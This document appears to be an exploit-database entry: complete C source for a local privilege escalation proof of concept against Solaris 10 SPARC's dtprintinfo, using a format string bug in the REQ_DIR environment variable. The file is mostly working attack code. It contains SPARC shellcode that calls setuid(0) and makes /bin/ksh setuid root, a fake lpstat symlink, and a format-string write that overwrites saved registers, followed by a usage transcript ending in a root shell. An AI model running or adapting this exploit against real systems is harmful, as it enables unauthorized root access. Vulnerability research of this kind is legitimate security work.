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体验盒子# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC
/*
* raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* "Mimimimimimimi
*Mimimi only mimi
*Mimimimimimimi
*Mimimi sexy mi"
* -- Serebro
*
* As usual, exploitation on SPARC turned out to be much more complicated (and
* fun) than on Intel. Since the vulnerable program needs to survive one
* additional function before we can hijack %pc, the classic stack-based buffer
* overflow approach didn't seem feasible in this case. Therefore, I opted for
* the format string bug. This is just a proof of concept, 'cause guess what --
* on my system it works only when gdb or truss are attached to the target
* process:( To borrow Neel Mehta's words:
*
* "It's quite common to find an exploit that only works with GDB attached to
* the process, simply because without the debugger, break register windows
* aren't flushed to the stack and the overwrite has no effect."
* -- The Shellcoder's Handbook
*
* On different hardware configurations this exploit might work if the correct
* retloc and offset are provided. It might also be possible to force a context
* switch at the right time that results in registers being flushed to the
* stack at the right moment. However, this method tends to be unreliable even
* when the attack is repeatable like in this case. A better way to solve the
* puzzle would be to overwrite something different, e.g.:
*
* - Activation records of other functions, such as check_dir() (same issues)
* - Callback to function SortJobs() (nope, address is hardcoded in .text)
* - PLT in the binary (I need a different technique to handle null bytes)
* - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!)
* - Other OS function pointers I'm not aware of still present in Solaris 10
*
* Finally, it might be possible to combine the stack-based buffer overflow and
* the format string bug to surgically fix addresses and survive until needed
* for program flow hijacking to be possible. Bottom line: there's still some
* work to do to obtain a reliable exploit, but I think it's feasible. You're
* welcome to try yourself if you feel up to the task and have a spare SPARC
* box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* See also:
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
* raptor_dtprintcheckdir_intel2.c
* raptor_dtprintcheckdir_sparc2.c (the real deal)
*
* Usage:
* $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
* [on your xserver: disable the access control]
* $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
* [on your xserver: double click on the fake "fnord" printer]
* ...
* -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
* -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
* <- libc:getenv() = 0xffbff364
* -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
* <- libc:getenv() = 0xffbff364
* -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
* ...
* setuid(0) = 0
* chmod("/bin/ksh", 037777777777) = 0
* _exit(0)
* $ ksh
* # id
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
* #
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
#define BUFSIZE 3000 // size of evil env var
#define BUFSIZE2 10000 // size of padding buf
#define STACKPOPSEQ "%.8x" // stackpop sequence
#define STACKPOPS 383 // number of stackpops
/* default retloc and offset for sprintf() */
#define RETLOC 0xffbfbb3c // saved ret location
#define OFFSET 84 // offset from retloc to i0loc
/* default retloc and offset for check_dir() */
/* TODO: patch %i6 that gets corrupted by overflow */
//#define RETLOC 0xffbfbbac // default saved ret location
//#define OFFSET 1884 // default offset from retloc to i0loc
/* split an address in 4 bytes */
#define SPLITB(B1, B2, B3, B4, ADDR) { \
B4 = (ADDR & 0x000000ff); \
B3 = (ADDR & 0x0000ff00) >> 8; \
B2 = (ADDR & 0x00ff0000) >> 16; \
B1 = (ADDR & 0xff000000) >> 24; \
}
/* calculate numeric arguments for write string */
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
N1 = (B4 - BASE) % 0x100; \
N2 = (B2 - BASE - N1) % 0x100; \
N3 = (B1 - BASE - N1 - N2) % 0x100; \
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
BASE += N1 + N2 + N3 + N4; \
}
//#define USE_EXEC_SC // uncomment to use exec shellcode
#ifdef USE_EXEC_SC
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and%g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* execve("/bin/ksh", argv, NULL) */
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
"\x90\x03\xe0\x28" /* add%o7, 0x28, %o0 */
"\x92\x02\x20\x10" /* add%o0, 0x10, %o1 */
"\xc0\x22\x20\x08" /* clr[ %o0 + 8 ] */
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
"\xc0\x22\x20\x14" /* clr[ %o0 + 0x14 ] */
"\x82\x10\x20\x0b" /* mov0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x80\x1c\x40\x11" /* xor%l1, %l1, %g0 ! nop */
"\x41\x41\x41\x41" /* placeholder */
"/bin/ksh";
#else
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and%g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* chmod("/bin/ksh", 037777777777) */
"\x92\x20\x20\x01" /* sub%g0, 1, %o1 */
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
"\x20\xbf\xff\xff" /* bn,a <sc> */
"\x7f\xff\xff\xff" /* call <sc + 4> */
"\x90\x03\xe0\x20" /* add%o7, 0x20, %o0 */
"\xc0\x22\x20\x08" /* clr[ %o0 + 8 ] */
"\x82\x10\x20\x0f" /* mov0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* exit(0) */
"\x90\x08\x3f\xff" /* and%g0, -1, %o0 */
"\x82\x10\x20\x01" /* mov1, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
#endif /* USE_EXEC_SC */
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int get_env_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
char platform[256], release[256], display[256];
int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc;
int offset = OFFSET;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("sprintf");
int rwx_mem = search_rwx_mem() + 24; /* stable address */
int i, stackpops = STACKPOPS;
unsigned char b1, b2, b3, b4;
unsigned base, n[16]; /* must be unsigned */
/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}
/* helper program that prints argv[0] address, used by get_env_addr() */
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if ((argc < 2) || (argc > 4)) {
#ifdef USE_EXEC_SC
fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]);
#else
fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]);
#endif /* USE_EXEC_SC */
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
if (argc > 2)
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
if (argc > 3)
offset = (int)strtoul(argv[3], (char **)NULL, 0);
/* calculate saved %i0 and %i7 locations based on retloc */
i0loc = retloc + offset;
i1loc = i0loc + 4;
i7loc = i0loc + 28;
/* evil env var: name + shellcode + padding */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
p += strlen("REQ_DIR=");
/* padding buffer to avoid stack overflow */
memset(buf2, 'B', sizeof(buf2));
buf2[sizeof(buf2) - 1] = 0x0;
/* fill the envp, keeping padding */
add_env(buf2);
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp");
add_env("PATH=.:/usr/bin");
sc_addr = add_env("HOME=/tmp");
add_env(sc);
add_env(NULL);
/* calculate the needed addresses */
env_addr = get_env_addr(VULN, argv);
sc_addr += env_addr;
#ifdef USE_EXEC_SC
/* populate exec shellcode placeholder */
set_val(sc, 48, sb - 1024);
#endif /* USE_EXEC_SC */
/* format string: saved ret */
*((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy*/
/* format string: saved %i0: 1st arg to sprintf() */
*((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy*/
/* format string: saved %i7: return address */
*((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy*/
/* format string: saved %i1: 2nd arg to sprintf() */
*((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy*/
*((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */
/* format string: stackpop sequence */
base = p - buf - strlen("REQ_DIR=");
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
/* calculate numeric arguments for retloc */
SPLITB(b1, b2, b3, b4, (ret - 4));
CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base);
/* calculate numeric arguments for i0loc */
SPLITB(b1, b2, b3, b4, rwx_mem);
CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base);
/* calculate numeric arguments for i7loc */
SPLITB(b1, b2, b3, b4, (rwx_mem - 8));
CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base);
/* calculate numeric arguments for i1loc */
SPLITB(b1, b2, b3, b4, sc_addr);
CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base);
/* check for potentially dangerous numeric arguments below 10 */
for (i = 0; i < 16; i++)
n[i] += (n[i] < 10) ? (0x100) : (0);
/* format string: write string */
sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]);
buf[strlen(buf)] = 'A'; /* preserve buf length */
/* we need at least one directory inside TMP_DIR to trigger the bug */
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc);
fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc);
fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc);
fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
/* check for null bytes (add some padding to env if needed) */
check_zero(retloc, "ret location");
check_zero(i0loc, "%%i0 location");
check_zero(i1loc, "%%i1 location");
check_zero(i7loc, "%%i7 location");
check_zero(rwx_mem, "rwx_mem address");
check_zero(sc_addr, "sc address");
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* get_env_addr(): get environment address using a helper program
*/
int get_env_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11] = "\x00";
int fd[2], addr;
/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);
/* open pipe to read program output */
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("fork");
exit(1);
case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);
default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}
/* check and return address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read ff address from helper program\n");
exit(1);
}
return addr + 4;
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "error: can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address null bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
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